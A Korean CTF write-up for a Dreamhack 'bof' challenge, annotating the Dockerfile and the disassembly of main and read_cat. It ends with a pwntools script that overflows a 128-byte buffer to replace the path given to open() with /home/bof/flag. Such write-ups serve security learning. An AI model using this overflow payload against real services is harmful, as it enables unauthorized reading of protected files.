문제를 다운 받으면 도커파일 하나랑
이렇게 파일 3개가 들어가 있다.
cat, flag는 택스트로 되어 있고 bof는 바이너리 파일로 되어 있어서 bof가 실행파일이라고 생각했다.
그리고 bof를 실행시켜보면
입력값을 받고, 다시 출력한다.
주어진 도커파일을 읽어보면
FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f
# 우분투 22.04 이미지를 SHA256 해시로 명시하여 기반 이미지로 사용
ENV user bof
# 환경 변수 'user'에 'bof'라는 사용자 이름을 설정
ENV chall_port 31337
# 환경 변수 'chall_port'에 챌린지에서 사용할 포트 번호 31337을 설정
RUN apt-get update
# 패키지 목록을 최신 상태로 업데이트
RUN apt-get -y install socat
# 네트워크 연결 포워딩 및 터널링을 위한 socat 패키지 설치
RUN adduser $user
# $user 변수로 지정된 'bof' 사용자를 추가
ADD ./deploy/flag /home/$user/flag
# 로컬 deploy 디렉터리의 flag 파일을 컨테이너의 /home/$user/ 경로에 복사
ADD ./deploy/$user /home/$user/$user
# 로컬 deploy 디렉터리의 사용자 실행 파일을 컨테이너의 /home/$user/ 경로에 복사
ADD ./deploy/cat /home/$user/cat
# 로컬 deploy 디렉터리의 cat 파일을 컨테이너의 /home/$user/ 경로에 복사
RUN chown root:$user /home/$user/flag
# flag 파일의 소유자를 root, 그룹을 $user (bof)로 설정
RUN chown root:$user /home/$user/$user
# 사용자 실행 파일의 소유자를 root, 그룹을 $user (bof)로 설정
RUN chown root:$user /home/$user/cat
# cat 파일의 소유자를 root, 그룹을 $user (bof)로 설정
RUN chmod 755 /home/$user/$user
# 사용자 실행 파일에 대해 소유자는 읽기, 쓰기, 실행 권한, 그룹 및 다른 사용자에 대해 읽기 및 실행 권한 설정
RUN chmod 440 /home/$user/flag
# flag 파일에 대해 소유자는 읽기 권한, 그룹은 읽기 권한, 다른 사용자에 대한 권한 없음 설정
RUN chmod 440 /home/$user/cat
# cat 파일에 대해 소유자는 읽기 권한, 그룹은 읽기 권한, 다른 사용자에 대한 권한 없음 설정
WORKDIR /home/$user
# 컨테이너의 작업 디렉터리를 /home/$user로 설정
USER $user
# $user (bof) 사용자를 컨테이너의 기본 사용자로 설정
EXPOSE $chall_port
# $chall_port (31337) 포트를 컨테이너 외부에 노출
CMD socat -T 60 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
# socat 명령어를 사용하여 60초의 타임아웃을 설정하고 TCP 연결을 $chall_port 포트에서 수신,
# 연결될 때마다 /home/$user/$user 파일을 실행
여기서 bof가 실행파일인것을 알수가 있다.
그리고 바이너리 파일 bof를 디버깅 해야하는데 난 2가지 방법을 찾았다.
objdump 명령어를 사용하는것과 pwndbg를 사용하는 것이다.
$ objdump -d bof
이거부터 설명하자면 이상한게 많이 나오는데 우리는 일단 main을 보면된다. 왜냐 main에서 프로그램이 시작하니까
0000000000401391 <main>:
401391: f3 0f 1e fa endbr64
401395: 55 push %rbp
401396: 48 89 e5 mov %rsp,%rbp
401399: 48 81 ec 90 00 00 00 sub $0x90,%rsp
4013a0: b8 00 00 00 00 mov $0x0,%eax
4013a5: e8 82 ff ff ff call 40132c <init>
4013aa: 48 8d 45 f0 lea -0x10(%rbp),%rax
4013ae: c7 00 2e 2f 63 61 movl $0x61632f2e,(%rax)
4013b4: 66 c7 40 04 74 00 movw $0x74,0x4(%rax)
4013ba: 48 8d 05 6c 0c 00 00 lea 0xc6c(%rip),%rax # 40202d <_IO_stdin_used+0x2d>
4013c1: 48 89 c7 mov %rax,%rdi
4013c4: b8 00 00 00 00 mov $0x0,%eax
4013c9: e8 02 fd ff ff call 4010d0 <printf@plt>
4013ce: 48 8d 85 70 ff ff ff lea -0x90(%rbp),%rax
4013d5: 48 89 c6 mov %rax,%rsi
4013d8: 48 8d 05 55 0c 00 00 lea 0xc55(%rip),%rax # 402034 <_IO_stdin_used+0x34>
4013df: 48 89 c7 mov %rax,%rdi
4013e2: b8 00 00 00 00 mov $0x0,%eax
4013e7: e8 44 fd ff ff call 401130 <__isoc99_scanf@plt>
4013ec: 48 8d 45 f0 lea -0x10(%rbp),%rax
4013f0: 48 89 c7 mov %rax,%rdi
4013f3: e8 3e fe ff ff call 401236 <read_cat>
4013f8: 48 8d 85 70 ff ff ff lea -0x90(%rbp),%rax
4013ff: 48 89 c6 mov %rax,%rsi
401402: 48 8d 05 31 0c 00 00 lea 0xc31(%rip),%rax # 40203a <_IO_stdin_used+0x3a>
401409: 48 89 c7 mov %rax,%rdi
40140c: b8 00 00 00 00 mov $0x0,%eax
401411: e8 ba fc ff ff call 4010d0 <printf@plt>
401416: b8 00 00 00 00 mov $0x0,%eax
40141b: c9 leave
40141c: c3 ret
이게 objdump고
pwndbg> file ./bof
pwndbg> disassem main
Dump of assembler code for function main:
0x0000000000401391 <+0>: endbr64
0x0000000000401395 <+4>: push rbp
0x0000000000401396 <+5>: mov rbp,rsp
0x0000000000401399 <+8>: sub rsp,0x90
0x00000000004013a0 <+15>: mov eax,0x0
0x00000000004013a5 <+20>: call 0x40132c <init>
0x00000000004013aa <+25>: lea rax,[rbp-0x10]
0x00000000004013ae <+29>: mov DWORD PTR [rax],0x61632f2e
0x00000000004013b4 <+35>: mov WORD PTR [rax+0x4],0x74
0x00000000004013ba <+41>: lea rax,[rip+0xc6c] # 0x40202d
0x00000000004013c1 <+48>: mov rdi,rax
0x00000000004013c4 <+51>: mov eax,0x0
0x00000000004013c9 <+56>: call 0x4010d0 <printf@plt>
0x00000000004013ce <+61>: lea rax,[rbp-0x90]
0x00000000004013d5 <+68>: mov rsi,rax
0x00000000004013d8 <+71>: lea rax,[rip+0xc55] # 0x402034
0x00000000004013df <+78>: mov rdi,rax
0x00000000004013e2 <+81>: mov eax,0x0
0x00000000004013e7 <+86>: call 0x401130 <__isoc99_scanf@plt>
0x00000000004013ec <+91>: lea rax,[rbp-0x10]
0x00000000004013f0 <+95>: mov rdi,rax
0x00000000004013f3 <+98>: call 0x401236 <read_cat>
0x00000000004013f8 <+103>: lea rax,[rbp-0x90]
0x00000000004013ff <+110>: mov rsi,rax
0x0000000000401402 <+113>: lea rax,[rip+0xc31] # 0x40203a
0x0000000000401409 <+120>: mov rdi,rax
0x000000000040140c <+123>: mov eax,0x0
0x0000000000401411 <+128>: call 0x4010d0 <printf@plt>
0x0000000000401416 <+133>: mov eax,0x0
0x000000000040141b <+138>: leave
0x000000000040141c <+139>: ret
End of assembler dump.
이거 pwndbg 출력이다. 이게 더 편하다.
우선 함수 호출(call)을 우선적으로 봐야한다.
<+20>에서 init 함수를 호출하여 초기화
<+56>에서 print를 함수 호출 (meow?)
<+86>에서 scanf함수 호출
<+98> read_cat 함수 호출
<+128> print 함수 호출 (나머지 고양이랑 직전 입력값)
그럼 read_cat이란 함수도 사용자가 작성한 함수고 디버깅해야 한다고 생각해야한다.
pwndbg> disassem read_cat
pwndbg> disassem read_cat
Dump of assembler code for function read_cat:
0x0000000000401236 <+0>: endbr64
0x000000000040123a <+4>: push rbp
0x000000000040123b <+5>: mov rbp,rsp
0x000000000040123e <+8>: sub rsp,0xa0
0x0000000000401245 <+15>: mov QWORD PTR [rbp-0x98],rdi
0x000000000040124c <+22>: lea rax,[rbp-0x90]
0x0000000000401253 <+29>: mov edx,0x80
0x0000000000401258 <+34>: mov esi,0x0
0x000000000040125d <+39>: mov rdi,rax
0x0000000000401260 <+42>: call 0x4010e0 <memset@plt>
0x0000000000401265 <+47>: mov DWORD PTR [rbp-0x4],0x0
0x000000000040126c <+54>: mov rax,QWORD PTR [rbp-0x98]
0x0000000000401273 <+61>: mov esi,0x0
0x0000000000401278 <+66>: mov rdi,rax
0x000000000040127b <+69>: mov eax,0x0
0x0000000000401280 <+74>: call 0x401120 <open@plt>
0x0000000000401285 <+79>: mov DWORD PTR [rbp-0x4],eax
0x0000000000401288 <+82>: cmp DWORD PTR [rbp-0x4],0xffffffff
0x000000000040128c <+86>: jne 0x4012a7 <read_cat+113>
0x000000000040128e <+88>: lea rax,[rip+0xd6f] # 0x402004
0x0000000000401295 <+95>: mov rdi,rax
0x0000000000401298 <+98>: call 0x4010c0 <puts@plt>
0x000000000040129d <+103>: mov edi,0x1
0x00000000004012a2 <+108>: call 0x401140 <exit@plt>
0x00000000004012a7 <+113>: lea rcx,[rbp-0x90]
0x00000000004012ae <+120>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004012b1 <+123>: mov edx,0x80
0x00000000004012b6 <+128>: mov rsi,rcx
0x00000000004012b9 <+131>: mov edi,eax
0x00000000004012bb <+133>: call 0x401100 <read@plt>
0x00000000004012c0 <+138>: mov QWORD PTR [rbp-0x10],rax
0x00000000004012c4 <+142>: cmp QWORD PTR [rbp-0x10],0xffffffffffffffff
0x00000000004012c9 <+147>: jne 0x4012e4 <read_cat+174>
0x00000000004012cb <+149>: lea rax,[rip+0xd3f] # 0x402011
0x00000000004012d2 <+156>: mov rdi,rax
0x00000000004012d5 <+159>: call 0x4010c0 <puts@plt>
0x00000000004012da <+164>: mov edi,0x1
0x00000000004012df <+169>: call 0x401140 <exit@plt>
0x00000000004012e4 <+174>: lea rax,[rip+0xd33] # 0x40201e
0x00000000004012eb <+181>: mov rdi,rax
0x00000000004012ee <+184>: call 0x4010c0 <puts@plt>
0x00000000004012f3 <+189>: lea rax,[rbp-0x90]
0x00000000004012fa <+196>: mov rdi,rax
0x00000000004012fd <+199>: call 0x4010c0 <puts@plt>
0x0000000000401302 <+204>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401305 <+207>: mov edi,eax
0x0000000000401307 <+209>: call 0x4010f0 <close@plt>
0x000000000040130c <+214>: test eax,eax
0x000000000040130e <+216>: je 0x401329 <read_cat+243>
0x0000000000401310 <+218>: lea rax,[rip+0xd08] # 0x40201f
0x0000000000401317 <+225>: mov rdi,rax
0x000000000040131a <+228>: call 0x4010c0 <puts@plt>
0x000000000040131f <+233>: mov edi,0x1
0x0000000000401324 <+238>: call 0x401140 <exit@plt>
0x0000000000401329 <+243>: nop
0x000000000040132a <+244>: leave
0x000000000040132b <+245>: ret
End of assembler dump.
이번에도 함수 호출 call을 중점적으로 분석
<+42> memset함수를 사용하여 128 바이트를 0바이트로 초기화
open() error 발생
버퍼를 꽉 채운 후, 그 뒤에 /home/bof/flag의 위치를 입력해주면 open의 인자값으로 들어가면서 flag가 나오지 않을까?
버퍼 크기: 128바이트
from pwn import *
p = remote("host1.dreamhack.games", 14536)
payload = b'a' * 128
payload += b'/home/bof/flag'
p.sendlineafter(b'meow? ', payload)
p.interactive()
여러 풀이들을 참고 했는데 C코드를 가지고 분석하는 풀이가 있어서 Ghidra를 설치하여 디컴파일을 시도 했었다. 다른 풀이에서는 IDA를 사용하여 디컴파일 및 리버싱 하는 방법도 고려해 볼 수 있다는데 아직 좀 더 공부 해야하는 부분이다. 디버깅 방법도 괜찮을거 같다.